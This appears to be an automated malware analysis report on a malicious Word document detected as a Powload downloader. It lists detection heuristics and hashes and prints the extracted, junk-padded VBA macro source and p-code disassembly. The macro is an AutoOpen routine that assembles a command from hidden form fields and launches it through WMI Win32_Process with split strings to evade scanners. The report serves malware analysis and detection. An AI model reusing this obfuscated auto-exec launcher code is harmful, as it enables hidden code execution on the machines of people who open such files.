Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 601804d143469176…

MALICIOUS

Office (OLE)

187.0 KB Created: 2019-04-26 02:36:00 Authoring application: Microsoft Office Word First seen: 2021-02-20
MD5: fd0c0ac454f459acc1cd124fd097740a SHA-1: 741cb7d37dbb4ca805174a194dbf9eb4f51ad727 SHA-256: 601804d1434691765b258649f0a9c8924bb1b28b5ff0dc2bafb3039b2c78f6a3
310 Risk Score

Heuristics 9

  • ClamAV: Doc.Downloader.Powload-6956274-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6956274-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
    Set YUADco = JcCAAXA(GetObject("winm" + "gmts:Win32_Process" + "Sta" + "rtup"))
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
    Matched line in script
    Set YUADco = JcCAAXA(GetObject("winm" + "gmts:Win32_Process" + "Sta" + "rtup"))
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set YUADco = JcCAAXA(GetObject("winm" + "gmts:Win32_Process" + "Sta" + "rtup"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 36841 bytes
SHA-256: 0b5e507a23f6a1ff50e68c1344ab107529130f08a2b572e327569612b27c653c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ZZBwxD"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "cAAAQA"
Attribute VB_Base = "0{1B463405-9356-4388-8D57-CAE06CB16D7F}{581FE4FC-C4DD-4C46-BED5-8155F02BB9C5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "YXDXADQ"
Attribute VB_Base = "0{38AC6D8C-8524-419C-97A4-5BDDEF475B9F}{F8E4F342-5FAD-4C17-90F9-7F6EA5E608F4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "EUAXXDU"
Sub autoopen()
   If JUxA_U = HAQB44 Then
ElseIf TZ_BA_ZD _
= jBAADB Then
            OA41AG = Cos( _
842148233)
ElseIf tDcAUAAB = iAUXABAx Then
            RBCoU1 _
= Hex(651591354)
ElseIf SQAAGA = OCQ_cZC Then
            dAcAUACc = Atn( _
456912470)
ElseIf EAUGDA = sQABAA Then
End If
   If fXZQ4k = iAwk_G Then
ElseIf LQkCxAD _
= sBGoAGGB Then
            RAxAC4 = Cos( _
22939795)
ElseIf XcQU_ABw = IAkAAA1U Then
            UQBxBQ_ _
= Hex(204192538)
ElseIf Rc_AAQ = K_A_cB Then
            LAwoGXQ = Atn( _
279175081)
ElseIf VQkUCAAB = wBwAGA Then
End If
WxAQDA14
   If BBwQ11X = OAADGZGD Then
ElseIf OAU41A _
= KADDXGD Then
            p1AAAUB = Cos( _
221732607)
ElseIf uoxDB4A = QCAoABc1 Then
            WAcQDoAQ _
= Hex(934765426)
ElseIf IUX1AQX = mUZAB_ Then
            hUDkU1G = Atn( _
481580152)
ElseIf v_QAoCw = m4D1AXB Then
End If
   If VAAD4w = qQCAAxDk Then
ElseIf o14AAD _
= wD__AU Then
            oGwA_xcA = Cos( _
826103331)
ElseIf TGQG4Q = VGDxAUU Then
            TAcBoBwG _
= Hex(892309940)
ElseIf nABwAAxZ = sUUxBcUG Then
            DAAGZBQ = Atn( _
487591842)
ElseIf AUX14Dk = cUokAZA1 Then
End If
   If kBA4AB = noUAAo Then
ElseIf u1BBAGB _
= nUkZQA Then
            JAAcGXcA = Cos( _
763948191)
ElseIf jkDBBBZ = N_xUXB Then
            OGcAxBoD _
= Hex(740174071)
ElseIf FBUAA1 = iABG1AA4 Then
            XQDAkokA = Atn( _
412361144)
ElseIf LZBAAU = UQAxG4U Then
End If
End Sub
Function JcCAAXA(SXQACBD)
   If jXxwAQA = zACBwcxc Then
ElseIf CUAGoAxw _
= W4QAAQAQ Then
            AGAAAAAC = Cos( _
832306129)
ElseIf r_xAAcQ = RB1AQD Then
            kGQAZGGD _
= Hex(483102689)
ElseIf jkAUwk4k = uBAAXZ Then
            Hw_xAAA = Atn( _
252865825)
ElseIf pDAQDU = OAAAAw Then
End If
   If cBUAA_Ac = pAX1CDX Then
ElseIf PAxAAA _
= DAU1UU Then
            VAUX1G4A = Cos( _
804083139)
ElseIf GAxDUG = JQZABQ Then
            LQDDAo _
= Hex(509650185)
ElseIf pXQAkQQ = o4AGG4CD Then
            vUBAAA = Atn( _
387462325)
ElseIf cAAk__A = jAAcABA4 Then
End If
   If FBcABQD = Y1CBcAZc Then
ElseIf awUwcA _
= mCA1AA Then
            jUBGUAoc = Cos( _
370375549)
ElseIf UAAABZQ = UAc1CU Then
            FXA1UwA _
= Hex(775165980)
ElseIf uUAAoBo = zAXQAG Then
            OUAUUXD = Atn( _
855690371)
ElseIf MGBABA = NCA_AAA_ Then
End If
Set JcCAAXA = CVar(SXQACBD)
   If T4wDkAC_ = GQUDDAA Then
ElseIf J_DXoo _
= r_ADAB Then
            XA4cwUGA = Cos( _
785551230)
ElseIf bAQw1AA = AUAwAGD Then
            HAwQw4 _
= Hex(291757774)
ElseIf w_A4UAQQ = L4AAUB Then
            PUXQ4A = Atn( _
418814616)
ElseIf GQAACcAU = VcAGAAQ Then
End If
   If PcDXAZ = cBAAZA Then
ElseIf X_DABx _
= hwAD_DD_ Then
            i_wDABx = Cos( _
858903728)
ElseIf mxAAkA4 = IZAGXQ Then
            sA_Z4cBA _
= Hex(393676962)
ElseIf qAAUwo = aDc1ZBA Then
            UAxAcA = Atn( _
147883218)
ElseIf wAxo1UA = CAQAQxA Then
End If
   If GGXBGAU = iACAA_xA Then
ElseIf nAAAUwA _
= AAAAG_ Then
            LBokAA1A = Cos( _
996351373)
ElseIf cU4B1ZA = a_DAC41 Then
            z1AAZA _
= Hex(842665277)
ElseIf fD_AUGA = VUDABUDA Then
            zAQcBw = Atn( _
43823781)
ElseIf GAQAXcwD = nG4UABA Then
End If
End Function


Attribute VB_Name = "XcAAAUA4"
Function WxAQDA14()
On Error Resume Next
   If t_BBQQZ = E1AkDGDw Then
ElseIf CCACQkwx _
= UAAZC1 Then
            PB_ZDwAU = Cos( _
585398142)
ElseIf PQDAUoBA = kAQBA11U Then
            CQQAA_ _
= Hex(534049277)
ElseIf pUQGAAU = ZAUA4x Then
            wAACBxA = Atn( _
372293889)
ElseIf zA_CDG_A = jwZBAk Then
End If
   If CoBBAAAC = ZUAAX_ Then
ElseIf pDCD4Q _
= KUA1QD Then
            p41c4AAA = Cos( _
574242826)
ElseIf jUXGAQX = BCAAUA Then
            uAZkACA _
= Hex(582338214)
ElseIf aAAAQoDQ = loQBAA Then
            SCBcXUxG = Atn( _
226116368)
ElseIf o1DC4GZ = WDAAAQUx Then
End If
   If doAA1AC = QU_ZAGAA Then
ElseIf JwwxQABG _
= BUAAXQZ Then
            hUX4kGC = Cos( _
80813044)
ElseIf mXAkQAA = tAAAAXAA Then
            Q4Xx1Qc _
= Hex(985740885)
ElseIf Q4AAwZ = PcAxX4A Then
            Y_AZQ1AA = Atn( _
827373422)
ElseIf GBQXQ1 = jCxAcx Then
End If
If 9277 < 38864 Then
IAAAADB = vbFalse
   If WUAcQwAU = hXA4Aw4A Then
ElseIf QGAAUAk _
= sQQBQAxD Then
            rwwUwk = Cos( _
548582368)
ElseIf YcUAQB = E_BAkA_Q Then
            jA_Aoo _
= Hex(869270622)
ElseIf EckABAA = XUxUAUAo Then
            lcQCCx = Atn( _
928339796)
ElseIf rDZCGZDQ = kAXDZA Then
End If
   If aUAAAG4A = lUAAZCA Then
ElseIf pAGAACA _
= SGAGX1A Then
            rAACUcA = Cos( _
95922963)
ElseIf uQAAXACG = f1GDDUU Then
            K4UXQc _
= Hex(761331449)
ElseIf hGBAQQUx = DAAAXQQQ Then
            tx4AAXA = Atn( _
502291438)
ElseIf qABDxAAQ = TDDZkUCC Then
End If
   If LQAUXkA = mAxQQXC Then
ElseIf jCB1wAA _
= vQAcDAQ Then
            qA_Bow = Cos( _
331398600)
ElseIf X11AA1D = qAAADA Then
            qkAU4c _
= Hex(126285580)
ElseIf OXBAAc = u4DxZC Then
            FUUBxDAD = Atn( _
775559884)
ElseIf AAB1Ao = IUAXCo Then
End If
End If
   If cZUAxX = UGDXAAwU Then
ElseIf CwCDU1A _
= dGBUAxD Then
            hw1A_DD = Cos( _
874045992)
ElseIf OAoUwZ = NAAUAx Then
            QB1GXAD _
= Hex(722004107)
ElseIf GkAB1ACX = jCAoGABw Then
            Z1ADQA = Atn( _
588688307)
ElseIf YAAGwD = UocAQ1c Then
End If
   If lZBDxQ = NG1ABDAA Then
ElseIf Sc1ok_A _
= wGw1A1G Then
            NQBXAoAA = Cos( _
590620827)
ElseIf A1AQGDA = UUAUcCkx Then
            noAAA4BA _
= Hex(349083799)
ElseIf YBwxBAA = MUcX4oD Then
            kQUAAC = Atn( _
735846957)
ElseIf tAkCB1U = KUU1_BQ Then
End If
   If XADcDw = jAAA1A Then
ElseIf W1CD_cD _
= OA4Qw_DG Then
            jAAAG1DA = Cos( _
940495505)
ElseIf MAQABABk = rAxAcAU Then
            dAxAZ4DD _
= Hex(259114917)
ElseIf wkoAAAA = QZBA_BA Then
            kBU4AA = Atn( _
953915926)
ElseIf C1_QAAZ = AAQAGDAB Then
End If
Set YUADco = JcCAAXA(GetObject("winm" + "gmts:Win32_Process" + "Sta" + "rtup"))
   If VZAxAxAU = XQwo4UQ Then
ElseIf EAAZxBU _
= ZUZQAA Then
            qk4AAADA = Cos( _
408899616)
ElseIf FADDc_oA = oXZ_AXAA Then
            QcUoAAGA _
= Hex(593737710)
ElseIf fCU_wUx = vAwAxC Then
            nACcAA = Atn( _
398178934)
ElseIf LUBA4G = JwQcBQU Then
End If
   If sUcxck4k = ZZBxDB Then
ElseIf EwAxAQAB _
= NZoZAA_k Then
            M1_BAAAC = Cos( _
919899546)
ElseIf nABQAUB = nA_GoAA Then
            ZQA_AZQQ _
= Hex(689412128)
ElseIf l1AxDZ = lQG4xA Then
            rAUAAB = Atn( _
279365113)
ElseIf S1ADxZ = qA_A_AUB Then
End If
XUkoQC = cAAAQA.pAcAAA.ControlSource + YXDXADQ.zZAUBkcU + cAAAQA.pAcAAA.ControlTipText + YXDXADQ.oAoUA4kU + cAAAQA.pAcAAA.ControlSource + cAAAQA.pAcAAA.ControlSource + YXDXADQ.V_AoQAA + cAAAQA.pAcAAA.ControlTipText + cAAAQA.pAcAAA.ControlSource + YXDXADQ.A_AkUk1Z + cAAAQA.pAcAAA.PasswordChar + YXDXADQ.PDUG_AA + cAAAQA.pAcAAA.ControlTipText
If 2527 < 21745 Then
   If TABB_A = PoAABAc Then
ElseIf ZwcAAAA _
= HoDAAU Then
            TcD_DD = Cos( _
659534713)
ElseIf dBB_A1G = jAAAxQQ Then
            JXAAwQA _
= Hex(73352451)
ElseIf IUkAoQQ = lU4UA_xU Then
            wBUABZ = Atn( _
664271815)
ElseIf hAUG1AUX = U1A1ABkB Then
End If
   If Q_A1A4Ak = M4kCAA Then
ElseIf LG_GAX_Q _
= BAk4AGAD Then
            hA1oAkBA = Cos( _
598342213)
ElseIf fw1UU1A = qA4AD1A Then
            X1AADk _
= Hex(580057568)
ElseIf aA4BXA1 = rXCUxXB Then
            CAQBwCA = Atn( _
147375314)
ElseIf zAXAcUk = zAQAGAD_ Then
End If
YUADco. _
ShowWindow = IAAAADB + IAAAADB + IAAAADB + IAAAADB
   If XZQUxAA = JZCkA4xX Then
ElseIf rAAAA1UU _
= jUGAAQ Then
            DAAkQ1k = Cos( _
951413730)
ElseIf tAAwc4Zc = CD4UoA Then
            qXXXX4kB _
= Hex(918348921)
ElseIf nAQwABA = WAwCkAU Then
            GAAADko = Atn( _
809879243)
ElseIf CkkUAAA = sXBAAG Then
End If
   If UBABCA = cQAAAA_A Then
ElseIf mDU_x4Z _
= hBQB1kx Then
            zD_QCAD = Cos( _
632495128)
ElseIf cAxBXD_c = cxAkQDAc Then
            BA1kDAc _
= Hex(969461213)
ElseIf FDUAAX = SZBAUA Then
            AAwBwDUU = Atn( _
832934369)
ElseIf t_ADZQ = I4AoDAAA Then
End If
End If
   If pAAAGA = NBAXGDA Then
ElseIf RAAAA1AA _
= GGBAAoA Then
            PAA1X_k = Cos( _
321605963)
ElseIf i4GAGZX = CAUA_Qk Then
            nZ14AAA _
= Hex(978602984)
ElseIf NAAcBAA = sXAQAAD Then
            icZDZUBc = Atn( _
176210507)
ElseIf UxG4AAcA = AAAAkwA Then
End If
   If zUBBwo = ADUBA1w Then
ElseIf VBAUXk _
= z4oQUxGG Then
            qAZZoUoA = Cos( _
154885678)
ElseIf bCAAAoQD = f_owAkAA Then
            JU_UDQ _
= Hex(918559318)
ElseIf qkCXAA = bCkA14 Then
            w4AA4w = Atn( _
742554162)
ElseIf fAZDAC = IQGAAA Then
End If
   If KAUk1QA = UDwAx_x Then
ElseIf tokBAwBQ _
= CA_G14U Then
            WAAZc4AU = Cos( _
88644039)
ElseIf l1oDA11 = I1ZX4AQ Then
            wA4DxAkC _
= Hex(402514940)
ElseIf kAAADAAA = AAQcBA1 Then
            wAGAABAA = Atn( _
291293188)
ElseIf SokGGD = FG1DBAAk Then
End If
Set qAAZCA = JcCAAXA(GetObject("winm" + "gmts:Win32_Process"))
   If R4k4AAXQ = OBQGwAA Then
ElseIf wx4_x4 _
= RBkAAA Then
            boZ_C41 = Cos( _
472920120)
ElseIf tA_XQQ_G = mkkc1ABA Then
            rxAAUAA _
= Hex(778843164)
ElseIf lkAxUAQ = iDA4_A Then
            aAwQDxAA = Atn( _
861871277)
ElseIf ZDAGAoA = F1xXU4BA Then
End If
   If iAZ_AZ4C = W4A_xQAA Then
ElseIf rx_AQCx _
= ikUA_Aw Then
            zQAQoUx = Cos( _
999062750)
ElseIf hAC41Ac = kAo_ZA Then
            kAABQQAA _
= Hex(622809543)
ElseIf GDAQAA = hZUx_AcA Then
            QAw4G1 = Atn( _
559756868)
ElseIf tcA1GAU_ = TwxxA4w1 Then
End If
qAAZCA.Create p_DXAAAZ + XUkoQC + zUU4oAw, o4QU1A, YUADco, pxAckDC
   If DZAQAoDA = cA4AXGow Then
ElseIf cxAwADCx _
= Go4c_BQ Then
            SAwXAA = Cos( _
460978400)
ElseIf CAQXAA = XwoACD Then
            nGAAAD _
= Hex(914084915)
ElseIf cwABoo = icCACABQ Then
            c_QUUXC = Atn( _
389298267)
ElseIf kBUQxC = tXBAAZ1D Then
End If
   If axcAkAxX = DDAUCwcQ Then
ElseIf ZcUAcQ _
= rACUGA1A Then
            jxAAAw = Cos( _
660595833)
ElseIf mXXZQ_ = cABQAAk Then
            rUAXD4U _
= Hex(855943338)
ElseIf JAAZZQ = kAkUCAU Then
            AA1CAC = Atn( _
948884150)
ElseIf oCG4AGAw = uBDxGU Then
End If
End Function


' Processing file: /opt/analyzer/scan_staging/1fbe0eeb84eb4b889c8533615a7ab5e9.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ZZBwxD - 1104 bytes
' Macros/VBA/cAAAQA - 1157 bytes
' Macros/VBA/YXDXADQ - 1158 bytes
' Macros/VBA/EUAXXDU - 5834 bytes
' Line #0:
' 	FuncDefn (Sub EUAXXDU())
' Line #1:
' 	Ld autoopen 
' 	Ld JUxA_U 
' 	Eq 
' 	IfBlock 
' Line #2:
' 	LineCont 0x0004 02 00 00 00
' 	Ld HAQB44 
' 	Ld TZ_BA_ZD 
' 	Eq 
' 	ElseIfBlock 
' Line #3:
' 	LineCont 0x0004 04 00 00 00
' 	LitDI4 0x2989 0x3232 
' 	ArgsLd Cos 0x0001 
' 	St jBAADB 
' Line #4:
' 	Ld OA41AG 
' 	Ld tDcAUAAB 
' 	Eq 
' 	ElseIfBlock 
' Line #5:
' 	LineCont 0x0004 01 00 00 00
' 	LitDI4 0x7EBA 0x26D6 
' 	ArgsLd Hex 0x0001 
' 	St iAUXABAx 
' Line #6:
' 	Ld RBCoU1 
' 	Ld SQAAGA 
' 	Eq 
' 	ElseIfBlock 
' Line #7:
' 	LineCont 0x0004 04 00 00 00
' 	LitDI4 0xEE56 0x1B3B 
' 	ArgsLd Atn 0x0001 
' 	St OCQ_cZC 
' Line #8:
' 	Ld dAcAUACc 
' 	Ld EAUGDA 
' 	Eq 
' 	ElseIfBlock 
' Line #9:
' 	EndIfBlock 
' Line #10:
' 	Ld sQABAA 
' 	Ld fXZQ4k 
' 	Eq 
' 	IfBlock 
' Line #11:
' 	LineCont 0x0004 02 00 00 00
' 	Ld iAwk_G 
' 	Ld LQkCxAD 
' 	Eq 
' 	ElseIfBlock 
' Line #12:
' 	LineCont 0x0004 04 00 00 00
' 	LitDI4 0x0893 0x015E 
' 	ArgsLd Cos 0x0001 
' 	St sBGoAGGB 
' Line #13:
' 	Ld RAxAC4 
' 	Ld XcQU_ABw 
' 	Eq 
' 	ElseIfBlock 
' Line #14:
' 	LineCont 0x0004 01 00 00 00
' 	LitDI4 0xBB1A 0x0C2B 
' 	ArgsLd Hex 0x0001 
' 	St IAkAAA1U 
' Line #15:
' 	Ld UQBxBQ_ 
' 	Ld Rc_AAQ 
' 	Eq 
' 	ElseIfBlock 
' Line #16:
' 	LineCont 0x0004 04 00 00 00
' 	LitDI4 0xDFA9 0x10A3 
' 	ArgsLd Atn 0x0001 
' 	St K_A_cB 
' Line #17:
' 	Ld LAwoGXQ 
' 	Ld VQkUCAAB 
' 	Eq 
' 	ElseIfBlock 
' Line #18:
' 	EndIfBlock 
' Line #19:
' 	ArgsCall wBwAGA 0x0000 
' Line #20:
' 	Ld WxAQDA14 
' 	Ld BBwQ11X 
' 	Eq 
' 	IfBlock 
' Line #21:
' 	LineCont 0x0004 02 00 00 00
' 	Ld OAADGZGD 
' 	Ld OAU41A 
' 	Eq 
' 	ElseIfBlock 
' Line #22:
' 	LineCont 0x0004 04 00 00 00
' 	LitDI4 0x5EFF 0x0D37 
' 	ArgsLd Cos 0x0001 
' 	St KADDXGD 
' Line #23:
' 	Ld p1AAAUB 
' 	Ld uoxDB4A 
' 	Eq 
' 	ElseIfBlock 
' Line #24:
' 	LineCont 0x0004 01 00 00 00
' 	LitDI4 0x6372 0x37B7 
' 	ArgsLd Hex 0x0001 
' 	St QCAoABc1 
' Line #25:
' 	Ld WAcQDoAQ 
' 	Ld IUX1AQX 
' 	Eq 
' 	ElseIfBlock 
' Line #26:
' 	LineCont 0x0004 04 00 00 00
' 	LitDI4 0x5478 0x1CB4 
' 	ArgsLd Atn 0x0001 
' 	St mUZAB_ 
' Line #27:
' 	Ld hUDkU1G 
' 	Ld v_QAoCw 
' 	Eq 
' 	ElseIfBlock 
' Line #28:
' 	EndIfBlock 
' Line #29:
' 	Ld m4D1AXB 
' 	Ld VAAD4w 
' 	Eq 
' 	IfBlock 
' Line #30:
' 	LineCont 0x0004 02 00 00 00
' 	Ld qQCAAxDk 
' 	Ld o14AAD 
' 	Eq 
' 	ElseIfBlock 
' Line #31:
' 	LineCont 0x0004 04 00 00 00
' 	LitDI4 0x5623 0x313D 
' 	ArgsLd Cos 0x0001 
' 	St wD__AU 
' Line #32:
' 	Ld oGwA_xcA 
' 	Ld TGQG4Q 
' 	Eq 
' 	ElseIfBlock 
' Line #33:
' 	LineCont 0x0004 01 00 00 00
' 	LitDI4 0x91B4 0x352F 
' 	ArgsLd Hex 0x0001 
' 	St VGDxAUU 
' Line #34:
' 	Ld TAcBoBwG 
' 	Ld nABwAAxZ 
' 	Eq 
' 	ElseIfBlock 
' Line #35:
' 	LineCont 0x0004 04 00 00 00
' 	LitDI4 0x0FA2 0x1D10 
' 	ArgsLd Atn 0x0001 
' 	St sUUxBcUG 
' Line #36:
' 	Ld DAAGZBQ 
' 	Ld AUX14Dk 
' 	Eq 
' 	ElseIfBlock 
' Line #37:
' 	EndIfBlock 
' Line #38:
' 	Ld cUokAZA1 
' 	Ld kBA4AB 
' 	Eq 
' 	IfBlock 
' Line #39:
' 	LineCont 0x0004 02 00 00 00
' 	Ld noUAAo 
' 	Ld u1BBAGB 
' 	Eq 
' 	ElseIfBlock 
' Line #40:
' 	LineCont 0x0004 04 00 00 00
' 	LitDI4 0xEC9F 0x2D88 
' 	ArgsLd Cos 0x0001 
' 	St nUkZQA 
' Line #41:
' 	Ld JAAcGXcA 
' 	Ld jkDBBBZ 
' 	Eq 
' 	ElseIfBlock 
' Line #42:
' 	LineCont 0x0004 01 00 00 00
' 	LitDI4 0x28F7 0x2C1E 
' 	ArgsLd Hex 0x0001 
' 	St N_xUXB 
' Line #43:
' 	Ld OGcAxBoD 
' 	Ld FBUAA1 
' 	Eq 
' 	ElseIfBlock 
' Line #44:
' 	LineCont 0x0004 04 00 00 00
' 	LitDI4 0x21B8 0x1894 
' 	ArgsLd Atn 0x0001 
' 	St iABG1AA4 
' Line #45:
' 	Ld XQDAkokA 
' 	Ld LZBAAU 
' 	Eq 
' 	ElseIfBlock 
' Line #46:
' 	EndIfBlock 
' Line #47:
' 	EndSub 
' Line #48:
' 	FuncDefn (Function UQAxG4U(JcCAAXA))
' Line #49:
' 	Ld SXQACBD 
' 	Ld jXxwAQA 
' 	Eq 
' 	IfBlock 
' Line #50:
' 	LineCont 0x0004 02 00 00 00
' 	Ld zACBwcxc 
' 	Ld CUAGoAxw 
' 	Eq 
' 	ElseIfBlock 
' Line #51:
' 	LineCont 0x0004 04 00 00 00
' 	LitDI4 0xFBD1 0x319B 
' 	ArgsLd Cos 0x0001 
' 	St W4QAAQAQ 
' Line #52:
' 	Ld AGAAAAAC 
' 	Ld r_xAAcQ 
' 	Eq 
' 	ElseIfBlock 
' Line #53:
' 	LineCont 0x0004 01 00 00 00
' 	LitDI4 0x8FE1 0x1CCB 
' 	ArgsLd Hex 0x0001 
' 	St RB1AQD 
' Line #54:
' 	Ld kGQAZGGD 
' 	Ld jkAUwk4k 
' 	Eq 
' 	ElseIfBlock 
' Line #55:
' 	LineCont 0x0004 04 00 00 00
' 	LitDI4 0x6D21 0x0F12 
' 	ArgsLd Atn 0x0001 
' 	St uBAAXZ 
' Line #56:
' 	Ld Hw_xAAA 
' 	Ld pDAQDU 
' 	Eq 
' 	ElseIfBlock 
' Line #57:
' 	EndIfBlock 
' Line #58:
' 	Ld OAAAAw 
' 	Ld cBUAA_Ac 
' 	Eq 
' 	IfBlock 
' Line #59:
' 	LineCont 0x0004 02 00 00 00
' 	Ld pAX1CDX 
' 	Ld PAxAAA 
' 	Eq 
' 	ElseIfBlock 
' Line #60:
' 	LineCont 0x0004 04 00 00 00
' 	LitDI4 0x55C3 0x2FED 
' 	ArgsLd Cos 0x0001 
' 	St DAU1UU 
' Line #61:
' 	Ld VAUX1G4A 
' 	Ld GAxDUG 
' 	Eq 
' 	ElseIfBlock 
' Line #62:
' 	LineCont 0x0004 01 00 00 00
' 	LitDI4 0xA509 0x1E60 
' 	ArgsLd Hex 0x0001 
' 	St JQZABQ 
' Line #63:
' 	Ld LQDDAo 
' 	Ld pXQAkQQ 
' 	Eq 
' 	ElseIfBlock 
' Line #64:
' 	LineCont 0x0004 04 00 00 00
' 	LitDI4 0x34B5 0x1718 
' 	ArgsLd Atn 0x0001 
' 	St o4AGG4CD 
' Line #65:
' 	Ld vUBAAA 
' 	Ld cAAk__A 
' 	Eq 
' 	ElseIfBlock 
' Line #66:
' 	EndIfBlock 
' Line #67:
' 	Ld jAAcABA4 
' 	Ld FBcABQD 
' 	Eq 
' 	IfBlock 
' Line #68:
' 	LineCont 0x0004 02 00 00 00
' 	Ld Y1CBcAZc 
' 	Ld awUwcA 
' 	Eq 
' 	ElseIfBlock 
' Line #69:
' 	LineCont 0x0004 04 00 00 00
' 	LitDI4 0x7B7D 0x1613 
' 	ArgsLd Cos 0x0001 
' 	St mCA1AA 
' Line #70:
' 	Ld jUBGUAoc 
' 	Ld UAAABZQ 
' 	Eq 
' 	ElseIfBlock 
' Line #71:
' 	LineCont 0x0004 01 00 00 00
' 	LitDI4 0x181C 0x2E34 
' 	ArgsLd Hex 0x0001 
' 	St UAc1CU 
' Line #72:
' 	Ld FXA1UwA 
' 	Ld uUAAoBo 
' 	Eq 
' 	ElseIfBlock 
' Line #73:
' 	LineCont 0x0004 04 00 00 00
' 	LitDI4 0xCC83 0x3300 
' 	ArgsLd Atn 0x0001 
' 	St zAXQAG 
' Line #74:
' 	Ld OUAUUXD 
' 	Ld MGBABA 
' 	Eq 
' 	ElseIfBlock 
' Line #75:
' 	EndIfBlock 
' Line #76:
' 	SetStmt 
' 	Ld JcCAAXA 
' 	Coerce (Var) 
' 	Set UQAxG4U 
' Line #77:
' 	Ld NCA_AAA_ 
' 	Ld T4wDkAC_ 
' 	Eq 
' 	IfBlock 
' Line #78:
' 	LineCont 0x0004 02 00 00 00
' 	Ld GQUDDAA 
' 	Ld J_DXoo 
' 	Eq 
' 	ElseIfBlock 
' Line #79:
' 	LineCont 0x0004 04 00 00 00
' 	LitDI4 0x8F7E 0x2ED2 
' 	ArgsLd Cos 0x0001 
' 	St r_ADAB 
' Line #80:
' 	Ld XA4cwUGA 
' 	Ld bAQw1AA 
' 	Eq 
' 	ElseIfBlock 
' Line #81:
' 	LineCont 0x0004 01 00 00 00
' 	LitDI4 0xDECE 0x1163 
' 	ArgsLd Hex 0x0001 
' 	St AUAwAGD 
' Line #82:
' 	Ld HAwQw4 
' 	Ld w_A4UAQQ 
' 	Eq 
' 	ElseIfBlock 
' Line #83:
' 	LineCont 0x0004 04 00 00 00
' 	LitDI4 0x9A98 0x18F6 
' 	ArgsLd Atn 0x0001 
' 	St L4AAUB 
' Line #84:
' 	Ld PUXQ4A 
' 	Ld GQAACcAU 
' 	Eq 
' 	ElseIfBlock 
' Line #85:
' 	EndIfBlock 
' Line #86:
' 	Ld VcAGAAQ 
' 	Ld PcDXAZ 
' 	Eq 
' 	IfBlock 
' Line #87:
' 	LineCont 0x0004 02 00 00 00
' 	Ld cBAAZA 
' 	Ld X_DABx 
' 	Eq 
' 	ElseIfBlock 
' Line #88:
' 	LineCont 0x0004 04 00 00 00
' 	LitDI4 0xD4B0 0x3331 
' 	ArgsLd Cos 0x0001 
' 	St hwAD_DD_ 
' Line #89:
' 	Ld i_wDABx 
' 	Ld mxAAkA4 
' 	Eq 
' 	ElseIfBlock 
' Line #90:
' 	LineCont 0x0004 01 00 00 00
' 	LitDI4 0x08A2 0x1777 
' 	ArgsLd Hex 0x0001 
' 	St IZAGXQ 
' Line #91:
' 	Ld sA_Z4cBA 
' 	Ld qAAUwo 
' 	Eq 
' 	ElseIfBlock 
' Line #92:
' 	LineCont 0x0004 04 00 00 00
' 	LitDI4 0x84D2 0x08D0 
' 	ArgsLd Atn 0x0001 
' 	St aDc1ZBA 
' Line #93:
' 	Ld UAxAcA 
' 	Ld wAxo1UA 
' 	Eq 
' 	ElseIfBlock 
' Line #94:
' 	EndIfBlock 
' Line #95:
' 	Ld CAQAQxA 
' 	Ld GGXBGAU 
' 	Eq 
' 	IfBlock 
' Line #96:
' 	LineCont 0x0004 02 00 00 00
' 	Ld iACAA_xA 
' 	Ld nAAAUwA 
' 	Eq 
' 	ElseIfBlock 
' Line #97:
' 	LineCont 0x0004 04 00 00 00
' 	LitDI4 0x1D8D 0x3B63 
' 	ArgsLd Cos 0x0001 
' 	St AAAAG_ 
' Line #98:
' 	Ld LBokAA1A 
' 	Ld cU4B1ZA 
' 	Eq 
' 	ElseIfBlock 
' Line #99:
' 	LineCont 0x0004 01 00 00 00
